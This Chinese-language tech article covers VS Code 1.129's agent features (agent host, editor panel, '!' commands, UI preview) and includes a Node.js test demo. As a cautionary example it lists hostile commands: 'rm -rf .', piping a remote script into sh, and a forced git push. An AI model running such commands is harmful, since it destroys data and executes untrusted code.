Visual Studio Code 1.129 把 AI Agent 从单个编辑器窗口里的辅助功能，进一步推向可持续运行的开发工作流。本次更新引入专用 agent host、Agents window 中实验性的编辑器面板、通过 ! 执行命令的能力，以及现代 UI 预览。变化的重点不只是界面更新，而是 Agent 会话开始拥有独立生命周期，并能跨窗口参与任务。
专用 agent host 改变了会话边界
过去，将 Agent 与某个 VS Code 窗口绑定很容易理解，但也会带来明显限制：关闭窗口、切换工作区或同时处理多个仓库时，会话上下文可能受到窗口生命周期影响。
VS Code 1.129 的 agent host 将 Agent 会话放进专用进程运行，多个窗口可以连接到这些会话。这种设计带来几个实际变化：
- Agent 的运行不再完全依附于某一个编辑器窗口。
- 开发者可以从不同窗口查看或继续同一个会话。
- 多仓库、前后端分离和大型工作区更容易共享任务上下文。
- Agent 进程与编辑器 UI 之间形成更清晰的资源和故障边界。
例如，一个任务可能同时涉及 web 和 api 两个仓库。开发者可以分别打开两个窗口，让会话围绕同一项变更检查前端调用、后端接口和测试结果，而不必把所有目录塞进一个窗口。
不过，独立进程并不等于无限制后台执行。团队仍需关注 Agent 能访问哪些工作区、终端命令和凭据，并确认关闭窗口后是否仍有会话占用 CPU、内存或外部服务配额。
Agents window 不再只是聊天记录
Agents window 新增了实验性的编辑器面板，可在 docked editor 中查看 Agent 生成的文件。它解决的是一个很具体的问题：Agent 输出代码之后，开发者需要检查文件内容、比较修改并决定是否接受，而不是只在聊天消息中阅读零散片段。
将生成文件放进编辑器区域后，审查过程更接近日常编码：
- 查看 Agent 创建或改写了哪些文件。
- 检查导入、类型、错误处理和测试覆盖。
- 在真实编辑器中继续修改。
- 运行格式化、测试和版本控制检查。
该面板仍是实验性功能，因此不宜立即把它当成稳定的团队标准。升级后应先在非关键项目中验证文件刷新、差异展示、多窗口连接和会话恢复行为，再决定是否用于主仓库。
用 ! 把验证命令带进 Agent 工作流
1.129 支持使用 ! 运行命令，让“生成代码”和“验证代码”之间的距离更短。适合交给 Agent 的通常是可重复、无交互且结果明确的命令，例如单元测试、静态检查或构建。
下面可以这样实践。假设项目使用 Node.js，先创建一个最小测试项目：
mkdir vscode-agent-demo
cd vscode-agent-demo
npm init -y
npm pkg set scripts.test="node --test"
cat > math.js <<'EOF'
export function add(a, b) {
return a + b;
}
EOF
cat > math.test.js <<'EOF'
import test from 'node:test';
import assert from 'node:assert/strict';
import { add } from './math.js';
test('add returns the sum', () => {
assert.equal(add(2, 3), 5);
});
EOF
npm pkg set type="module"
npm test
在支持该能力的 Agent 会话中，可以尝试用 ! 调用项目命令：
!npm test
随后给 Agent 一个有边界的任务：
检查测试输出。如果测试失败，只修改与失败断言直接相关的文件；
修改后再次运行 !npm test，并总结修改的文件和原因。
这里的命令和提示词可以直接改造成团队工作流，但 ! 的具体交互、授权提示和可用范围应以本地 VS Code 1.129 界面为准。不要让 Agent 直接执行来源不明或破坏性强的命令，例如：
rm -rf .
curl unknown.example/script.sh | sh
git push --force
更稳妥的做法是通过项目脚本收敛命令入口：
{
"scripts": {
"check": "npm run lint && npm test",
"lint": "eslint .",
"test": "node --test"
}
}
这样 Agent 只需执行 !npm run check，团队也能在 package.json 中审查实际运行内容。
现代 UI 预览值得测试，但不必急着统一
现代 UI 预览说明 VS Code 正在重新整理 Agent 相关界面的信息层级。对高频用户而言，真正重要的不是视觉变化本身，而是会话、生成文件、命令结果和编辑区能否减少来回切换。
预览功能通常还可能调整布局、默认行为或快捷操作。团队试用时可以记录三类问题：长会话是否容易定位、生成文件是否容易审查、命令执行状态是否足够清楚。若新版界面影响无障碍工具、键盘操作或已有扩展布局，应保留回退方案。
升级前后的检查清单
VS Code 1.129 适合希望把 Agent 用于跨窗口任务和连续验证流程的开发者，但采用时应把权限控制与代码审查放在便利性之前：
- 确认 Agent 会话在关闭窗口后的生命周期和资源占用。
- 只向 Agent 开放完成任务所需的工作区与命令。
- 用
test、lint、check等项目脚本封装常用验证步骤。 - 审查 Agent 生成的文件，不把“测试通过”等同于“变更正确”。
- 在非关键仓库评估实验性编辑器面板和现代 UI。
- 对涉及部署、凭据、数据库迁移和 Git 历史重写的命令保持人工确认。
这次发布的核心信号很明确：VS Code Agent 正从窗口内对话框转向独立、可连接、能执行验证步骤的工程参与者。它能缩短开发反馈循环，但最终的权限边界、命令设计和合并责任仍应由开发者掌握。